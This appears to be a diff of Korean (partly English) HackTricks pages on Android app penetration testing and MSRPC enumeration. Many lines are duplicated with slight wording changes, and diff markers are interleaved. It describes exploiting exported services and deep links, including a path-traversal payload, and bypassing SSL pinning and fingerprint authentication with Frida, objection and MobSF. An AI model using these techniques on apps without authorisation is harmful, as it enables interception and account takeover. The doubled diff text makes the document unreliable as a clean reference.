[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서, 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다. 인증 수단을 우회하는 것도 포함됩니다...\
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다. 인증 수단을 우회하는 것도 포함됩니다...\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](./#exploiting-broadcast-receivers)
### **스킴 / 딥 링크 악용**
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
{% code overflow="wrap" %}
```bash
@ -425,17 +425,17 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
**실행된 코드**
**앱에서 실행될 코드**를 찾기 위해, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
**앱에서 실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
**민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
**경로의 매개변수**
**딥링크가 URL의 경로 안에 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 다음과 같이 경로 탐색을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 다음과 같이 경로 탐색을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기](http://dphoeniixx.com/2020/12/13-2/)에서 확인하세요.
**더 많은 예시**
@ -444,7 +444,7 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
### 전송 계층 검사 및 검증 실패
* **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 간과하고 자체 서명된 인증서를 수용하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
* **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
* **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호 모음을 사용합니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
* **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래를 위해 비안전한 채널로 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
@ -458,23 +458,23 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션
#### 트래픽 검사
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API 레벨 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수용하기 위해 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
**API 레벨 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
#### SSL 핀닝 우회
SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
* **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
* **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요.
* **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
* 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 일반 웹 취약점 찾기
애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만, 다른 곳에서 광범위하게 다루어니다.
애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만, 다른 곳에서 광범위하게 다루어지고 있습니다.
### Frida
@ -484,9 +484,9 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
* Frida 사용 방법 배우기: [**Frida 튜토리얼**](frida-tutorial/)
* Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection은 Frida 사용을 자동화하는 데 유용합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요. [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지침을 확인하세요 (도구 [linjector](https://github.com/erfur/linjector-rs)).
* Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회하려면 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 하세요 (도구 [linjector](https://github.com/erfur/linjector-rs))
### **메모리 덤프 - Fridump**
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **키 저장소의 민감한 데이터**
안드로이드에서 키 저장소는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
안드로이드에서 키 저장소는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 키 저장소에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -521,7 +521,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **지문/생체 인식 우회**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있습니다. Android 애플리케이션이 특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있습니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
{% code overflow="wrap" %}
```bash
@ -570,7 +570,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -578,9 +578,9 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
@ -593,7 +593,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (866).png>)
멋진 웹 기반 프론트엔드를 사용하여 애플리케이션의 **취약점 평가**를 수행합니다. 동적 분석도 수행할 수 있지만 (환경을 준비해야 함) 필요합니다.
**멋진 웹 기반 프론트엔드를 사용한 애플리케이션의 취약점 평가**. 동적 분석도 수행할 수 있지만 (환경을 준비해야 함) 필요합니다.
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -608,16 +608,16 @@ MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
* **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원하는 시점에 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
* **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다.
* **HTTPS 트래픽 캡처**
* **Frida**를 사용하여 **런타임** **정보**를 얻기
안드로이드 **버전 > 5**부터는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
**Frida**
기본적으로 SSL 핀닝, 루트 탐지 및 디버거 탐지를 **우회**하고 **흥미로운 API를 모니터링**하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다.
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
@ -631,7 +631,7 @@ Moreover, you have some Auxiliary Frida functionalities:
* **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
* **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
* **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
* **클래스 메서드 추적**: **전체 클래스 추적** (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
* **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
@ -648,13 +648,13 @@ receivers
```
**HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 Burp 또는 Owasp ZAP과 같은 **프록시**로 **전송**할 수 있습니다.\
http 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 불량한 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 Burp 또는 Owasp ZAP과 같은 **프록시**로 **전송**할 수 있습니다.\
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후, "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **http 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
{% hint style="info" %}
MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며, GUI에서 이를 수정할 수 없습니다. 프록시 설정을 수정하려면:
MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 프록시 설정을 수정하려면:
```
adb shell settings put global http_proxy :0
```
@ -667,13 +667,13 @@ adb shell settings put global http_proxy :0
### [Yaazhini](https://www.vegabird.com/yaazhini/)
이것은 **GUI를 용한 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
이것은 **GUI를 용한 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
![](<../../.gitbook/assets/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -709,7 +709,7 @@ StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성하는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases):
다운로드 [최신 릴리스](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
@ -723,7 +723,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션이 개발한 잠재적인 악성 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
@ -769,7 +769,7 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
* 리소스를 InputStream으로 로드합니다;
* 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다;
* 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다;
* ZipInputStream에 복호화된 결과를 제공하여 DEX 파일을 가져옵니다;
* 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다;
* 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다.
### [DeGuard](http://apk-deguard.com)
@ -810,32 +810,32 @@ AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로,
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
Stay informed with the newest bug bounties launching and crucial platform updates
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 요령을 공유하세요.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,21 +32,21 @@ Stay informed with the newest bug bounties launching and crucial platform update
## 기본 정보
Microsoft 원격 프로시저 호출(MSRPC) 프로토콜은 클라이언트-서버 모델로, 프로그램이 네트워크의 세부 사항을 이해하지 않고도 다른 컴퓨터에 위치한 프로그램으로부터 서비스를 요청할 수 있게 해줍니다. 이 프로토콜은 처음에 오픈 소스 소프트웨어에서 파생되었으며, 이후 Microsoft에 의해 개발되고 저작권이 부여되었습니다.
Microsoft 원격 프로시저 호출(MSRPC) 프로토콜은 클라이언트-서버 모델로, 프로그램이 네트워크의 세부 사항을 이해하지 않고도 다른 컴퓨터에 위치한 프로그램에서 서비스를 요청할 수 있게 해줍니다. 이 프로토콜은 처음에 오픈 소스 소프트웨어에서 파생되었으며, 이후 Microsoft에 의해 개발되고 저작권이 부여되었습니다.
RPC 엔드포인트 매퍼는 TCP 및 UDP 포트 135, SMB는 TCP 139 및 445(널 또는 인증된 세션)에서 접근할 수 있으며, 웹 서비스로는 TCP 포트 593에서 접근할 수 있습니다.
RPC 엔드포인트 매퍼는 TCP 및 UDP 포트 135, SMB는 TCP 139 및 445(널 또는 인증된 세션으로)에서 접근할 수 있으며, TCP 포트 593에서 웹 서비스로도 접근할 수 있습니다.
```
135/tcp open msrpc Microsoft Windows RPC
```
## MSRPC는 어떻게 작동하나요?
## MSRPC는 어떻게 작동합니까?
클라이언트 애플리케이션에 의해 시작된 MSRPC 프로세스는 로컬 스텁 프로시저를 호출한 다음 클라이언트 런타임 라이브러리와 상호작용하여 요청을 서버로 준비하고 전송하는 과정을 포함합니다. 여기에는 매개변수를 표준 네트워크 데이터 표현 형식으로 변환하는 것이 포함됩니다. 서버가 원격인 경우 런타임 라이브러리에 의해 전송 프로토콜이 결정되어 RPC가 네트워크 스택을 통해 전달되도록 합니다.
클라이언트 애플리케이션에 의해 시작된 MSRPC 프로세스는 로컬 스텁 프로시저를 호출한 다음 클라이언트 런타임 라이브러리와 상호 작용하여 요청을 서버로 준비하고 전송하는 과정을 포함합니다. 여기에는 매개변수를 표준 네트워크 데이터 표현 형식으로 변환하는 것이 포함됩니다. 서버가 원격인 경우 전송 프로토콜의 선택은 런타임 라이브러리에 의해 결정되어 RPC가 네트워크 스택을 통해 전달되도록 합니다.
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **노출된 RPC 서비스 식별하기**
TCP, UDP, HTTP 및 SMB를 통한 RPC 서비스의 노출은 RPC 로케이터 서비스 및 개별 엔드포인트를 쿼리하여 확인할 수 있습니다. rpcdump와 같은 도구는 **IFID** 값으로 표시된 고유한 RPC 서비스의 식별을 용이하게 하여 서비스 세부정보 및 통신 바인딩을 드러냅니다:
TCP, UDP, HTTP 및 SMB를 통한 RPC 서비스의 노출은 RPC 로케이터 서비스 및 개별 엔드포인트를 쿼리하여 확인할 수 있습니다. rpcdump와 같은 도구는 **IFID** 값으로 표시된 고유한 RPC 서비스를 식별하는 데 도움을 주며, 서비스 세부정보 및 통신 바인딩을 드러냅니다:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -54,7 +54,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
RPC 로케이터 서비스에 대한 접근은 특정 프로토콜을 통해 활성화됩니다: ncacn\_ip\_tcp 및 ncadg\_ip\_udp는 포트 135를 통해 접근하기 위한 것이고, ncacn\_np는 SMB 연결을 위한 것이며, ncacn\_http는 웹 기반 RPC 통신을 위한 것입니다. 다음 명령어는 주로 포트 135에 초점을 맞춰 MSRPC 서비스를 감사하고 상호작용하기 위해 Metasploit 모듈을 활용하는 예를 보여줍니다:
